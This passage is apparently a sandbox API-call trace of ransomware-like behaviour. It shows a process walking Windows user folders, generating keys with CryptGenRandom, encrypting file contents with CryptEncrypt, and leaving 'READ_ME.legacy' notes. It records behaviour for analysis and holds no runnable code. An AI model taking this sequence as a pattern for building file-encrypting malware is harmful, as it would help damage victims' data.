lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.401] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.401] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.401] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.401] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.402] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.402] CloseHandle (hObject=0x1bf0) returned 1 [0193.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0193.404] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.404] ReadFile (in: hFile=0x1bf0, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.404] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.404] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.404] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.404] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.405] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.405] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.405] WriteFile (in: hFile=0x1bf0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.406] CloseHandle (hObject=0x1bf0) returned 1 [0193.409] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4cf0 [0193.409] FindNextFileW (in: hFindFile=0x30d4cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.409] FindNextFileW (in: hFindFile=0x30d4cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x416d25ac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4b8a7f2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.409] FindNextFileW (in: hFindFile=0x30d4cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x416d25ac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4b8a7f2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.409] FindNextFileW (in: hFindFile=0x30d4cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.409] FindNextFileW (in: hFindFile=0x30d4cf0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.409] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf4 [0193.410] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.410] ReadFile (in: hFile=0x1bf4, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.410] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.410] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.410] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.410] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.411] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.411] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.412] CloseHandle (hObject=0x1bf4) returned 1 [0193.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.413] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.413] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf4 [0193.414] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.414] ReadFile (in: hFile=0x1bf4, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.414] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.414] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.414] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.414] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.414] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.415] WriteFile (in: hFile=0x1bf4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.415] CloseHandle (hObject=0x1bf4) returned 1 [0193.416] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4c30 [0193.416] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.416] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7385ce05, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7385f521, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x738942ad, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c10, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504773410", cAlternateFileName="150477~1")) returned 1 [0193.417] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a4d42c, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0x35a4d42c, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x35a99a0d, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x1cd2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504779320", cAlternateFileName="150477~2")) returned 1 [0193.417] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c100a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ce1b7c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.417] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3be9e93, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ce1b7c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.417] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.417] FindNextFileW (in: hFindFile=0x30d4c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe25678, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbe25678, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbe25678, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.417] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0193.418] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.418] ReadFile (in: hFile=0x1bf8, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.418] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.418] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.418] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.418] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.418] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.418] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.419] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.419] CloseHandle (hObject=0x1bf8) returned 1 [0193.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.423] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.423] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280813\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0193.424] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.424] ReadFile (in: hFile=0x1bf8, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.424] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.424] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.424] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.424] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.425] WriteFile (in: hFile=0x1bf8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.425] CloseHandle (hObject=0x1bf8) returned 1 [0193.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, 